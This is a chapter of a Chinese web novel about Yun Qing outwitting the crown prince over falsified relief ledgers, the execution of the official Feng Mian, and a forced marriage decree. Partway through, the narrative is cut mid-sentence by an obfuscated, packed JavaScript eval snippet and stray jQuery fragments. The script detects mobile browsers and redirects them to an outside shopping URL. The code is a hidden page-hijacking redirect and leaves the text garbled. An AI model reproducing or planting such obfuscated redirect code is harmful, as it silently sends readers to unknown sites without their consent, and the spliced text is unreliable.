在浓烟进来的前一刻,云倾刚刚翻到最下面的那个账册,但只来得及打开,并未来得及细看,其中夹着的黄麻纸引起了云倾注意,云倾并不知道里边写了什么,但她知道黄麻纸一般都是重要的公文才会用其书写,一定不是太子要提醒自己什么,而是太子的人忘了将其拿出去,而这张纸,很有可能就是冯冕做烂账的证明。

    云倾猜到太子会来阻碍她,只是没想到会这么快,她本想趁着晚上模仿冯冕字迹赶制账本,可如今却只能拿这张黄麻纸来赌。

    她不知道黄麻纸的内容没关系,因为太子也不知道。赌的不过是谁先崩溃罢了。

    当她看到太子的脸色急转直下的时候,她就知道自己赌对了。

    太子和冯冕早就暗中约定好,账册上只记虚账,用来构陷云山,真正的账目往来由冯冕按次誊抄在黄麻纸上秘密让人送进东宫,由太子过目后销毁。

    最近一次的黄麻纸因冯冕告密上司,紧急逃出锦都并未送来,后来冯冕告诉太子让其不用担心,他记得自己已经将其带出锦都,找到它不过是时间问题,却不成想留在了那个值房,还被云倾找到了。

    太子不再靠着玉榻,而是起身坐直,饶有兴趣地看着眼前的女子,第一次将她当作一个对手来对待。

    “哦?这能说明什么?”

    云倾看出太子的强装镇定,心中有了些信心:“太子是聪明人,有些勾当自然不会做,只是就怕太子手下的人不干净,随意攀咬太子,吞掉赈灾粮饷,祸害百姓。这张黄麻纸该怎么处置就看太子,是要保全手下人,还是保全自己?”

    沈玄清自是知道这张黄麻纸是云倾临时向周承索要的,他看出云倾的计划根本就不是冲着太子,目前证据太少,即使找到了也会使自己身处险地,得不偿失,想要揭穿太子的真面目,只有徐徐图之,逐步瓦解势力。

    沈玄清原本站在云倾身后半米处,见到太子目光落在云倾身上许久,他不动声色地挡在了云倾面前,适时开口增压道:“太子,冯冕虽然出逃,但今日下官的人已经将他寻到,人被关押在御史台。他一直叫嚣自己出逃都是太子的意思,说要见太子一面。太子日常繁忙,就在刚才来之前,下官已经派人将他押至殿外。”

    云倾和沈玄清心照不宣地在太子面前打着配合,只是为了击破太子心里最后一道防线。

    云倾或许敢赌,但是太子不敢赌,他行事向来谨慎,除了奢华铺张,在家国大事上从未有过差错,若不是云山一直在暗中调查自己,他也不会启用冯冕这个唯利是图的小人,导致今日给自己留下把柄在人家手里,太子心里暗骂冯冕蠢货,也后悔自己竟然看走了眼。

    半息过后,太子恢复往常颜色道:“沈大人还真是费心了,又是帮助云倾小姐查账,又是帮助朝廷抓人。听说二位已有婚约,想来是尚书早就看好沈大人有如此才能。”

    不知为什么,云倾听到太子这么夸赞沈玄清,还提到二人的婚约,她总有一种不太好的预感。

    “职责所在。”沈玄清听出太子暗讽自己手伸得太长,但却并不在意。

    “不过本宫想云倾小姐应该知道你父亲的案子牵连甚广,盘根错节,一个冯冕倒下,并不能救回你父亲。他始终是嫌疑最大的人。”

    云倾本就没想只靠查半天账就救回父亲,她今天要的结果只是让冯冕付出代价,让那些背叛他父亲的人都看清楚,这么做的后果是什么。

    “臣女的父亲清清白白,昭雪只需要时间。不过现在更应该担心的人是殿下吧,毕竟冯冕现在口口声声说要当面对峙的人是你。”

    太子发狂似的笑了两声,似乎是没有想到自己会在一个小姑娘身上栽跟头,最后开口道:“既然冯冕此人居心叵测,诬告上司,扰乱朝纲,传本宫懿旨,斩立决,诛九族。”

    内侍听到命令,立即走出大殿传旨,太子杀人就如踢开一只狗一样简单。

    大殿台阶下被押着的冯冕等候多时,听到自己斩立决的消息,瞬间狂躁。

    “你这个狗屁太……”话没说完,周承眼疾手快塞了一团手帕进去,他最痛恨这种背叛自己幕僚之人,所以亲自押送冯冕来到东宫,当听到斩立决的消息下来他几乎片刻都没有犹豫,直接就拉着冯冕往行刑台走。

    云倾和沈玄清到达行刑台时,刽子手的砍刀还未落下,周承见到沈玄清,连忙道:“终于来了,我今日下值了,这人交给你们了。”说罢周承向沈玄清作揖离开。

    沈玄清预料到云倾想问冯冕一些问题,所以提早吩咐冯冕注意行刑时间。

    “你别问我为什么要背叛你的父亲,是人就应当为自己谋划前程,以我的才华早就应当坐上户部尚书的位置,是你父亲一直打压我,不肯让位!”

    账册做成那样也想当尚书,做梦。

    “我并不想听你为什么要背叛我父亲,我现在要问你,除了你,谁还参与了对我父亲的诬告。”

    云倾没心情听他废话,她要知道还有谁在暗中给他父亲做局。

    “太子啊,怎么,你不会看不出来吧!哈哈哈哈,你不敢动他吧!”

    “说实话,我现在确实不敢动他,不过我敢动你,否则你也不会是今天这个下场。”云倾看出这种小人不肯开口,索性让他死前也被气个不轻。

    “你!”

    “你难道不想知道还有谁吗?”

    “本来也没指望你能说,太子已经放弃你了,你说或者不说都是必死,对了,顺便提一句,账做的真的很烂,下辈子还是再修炼几年吧,否则害人害己。”

    “惹了太子你不会有好下场的!”冯冕忍不住大声嘶吼,就要往云倾身上扑。

    你这个做假账的不要过来啊……

    沈玄清一直站在云倾身后一步远处,见到冯冕疯狂,想都没想直接将人踢了回去,并抬手示意刽子手行刑。

    刽子手按回左右乱动的冯冕,巨大无比的砍刀横劈下来之时,云倾的眼睛被一只修长的手掌挡住,随后那人手掌一转将她轻轻按进一个令人安稳的怀抱,她什么都没看到,只听到了人头落地的的声音。

    天色大亮,两人都疲惫到了极点,沿着来时的路慢慢往外走。

    “下一步你打算怎么做?”沈玄清知道云倾今日看了很多账,冯冕只是

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17747238|209334||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    其中最显眼的一个,要彻底为尚书平反,这只是第一步。

    “冯冕死了,和他往日交往最密的刑部员外郎王简肯定不会坐以待毙。”

    王简虽为太子做事,但其参与诬告父亲,并且昨日要将自己下狱,云倾料想多半也是因为私怨。

    王简到刑部后曾有过一次升迁机会,但却因为父亲查出其经手案件有瑕疵,将其考核记录驳回,升迁机会就此搁置,直至今日他仍只是刑部员外郎。

    此人虽坏,但蠢度远不及冯冕,如果想要扳倒此人,必须从他经手的案子下手。

    云倾和沈玄清说清自己的想法后,对方亦同意。

    将要走出东宫地界时,云倾像想起了什么似的,突然将怀中的那张黄麻纸拿了出来,递给旁边的侍卫,吩咐亲自送给太子,以表示自己的诚意。

    那侍卫仔细检查过只是一张纸之后,快步送到了正殿。

    太子此刻闭目养神,听到云倾让人把黄麻纸送了回来,急忙让人呈上来看。

    太子打开那张纸条,看到那行字后狠狠推翻了面前的琉璃玉桌,连着瓜果糕点全部散落在地,殿内侍者全部扑通跪下,不知道发生了什么,大气不敢出。

    那张黄麻纸上赫然写着字迹崭新的六个字:“冯冕只是开始。”

    这天的云倾睡了个好觉。

    ……

    翌日,云倾被府外的喧闹吵醒,似乎有人在她家门口放鞭炮。

    云倾并未理会,她今日已经约了沈玄清,两人要一起去大理寺翻找王简经手的案子,她快速梳洗。穿戴整齐,往外走去。

    行至院落中时,竟发现满院都是裹着红绸各种礼盒礼箱,有大有小,错落有致叠在一起,府里下人齐齐站成一排。看不出是喜是悲。

    这看着……是聘礼?

    沈玄清?不可能,他今日已经约了自己去查案,怎么可能来提亲?云倾心中有种不好的预感……她不愿相信,她感受到自己的手又开始发抖,她昨天刚刚以为自己取得了阶段性胜利,却没想到竟遭到这样的反击。她心里只觉得自己小瞧了太子,他是这样可怕,为了达到目的不择手段。

    云倾叫人去找管家,过了一会儿,刚刚阻止了门口放炮的管家回来了,面对自家小姐的质问,他支支吾吾终于说出口:“小姐,太子已经向皇上请求,给您和他赐婚,皇上同意了,聘礼今日一早就送到了,下月初八完婚。”

    ……

    御史台。

    昨日因熬夜上值的周承来得晚了,一进来却风风火火直奔正中的沈玄清而去。

    “今日我来上值路上,看到了聘礼队伍,拉了有十车之多,排满整条长街,你猜是谁的?”

    沈玄清并未抬头,他对于周承每日上值下值途中遇见的见闻已经波澜不惊。他此刻只想赶紧完成手里的工作,等到中午去和云倾一起到大理寺翻卷宗。

    “是太子,他竟然向皇上请求,给他和尚书府小姐赐婚了。”

    啪——清脆地一声。

    周承亲眼见到往日沉稳自持的御史大夫沈玄清此时手里的笔杆齐根断裂,脸色阴鸷的更是吓人。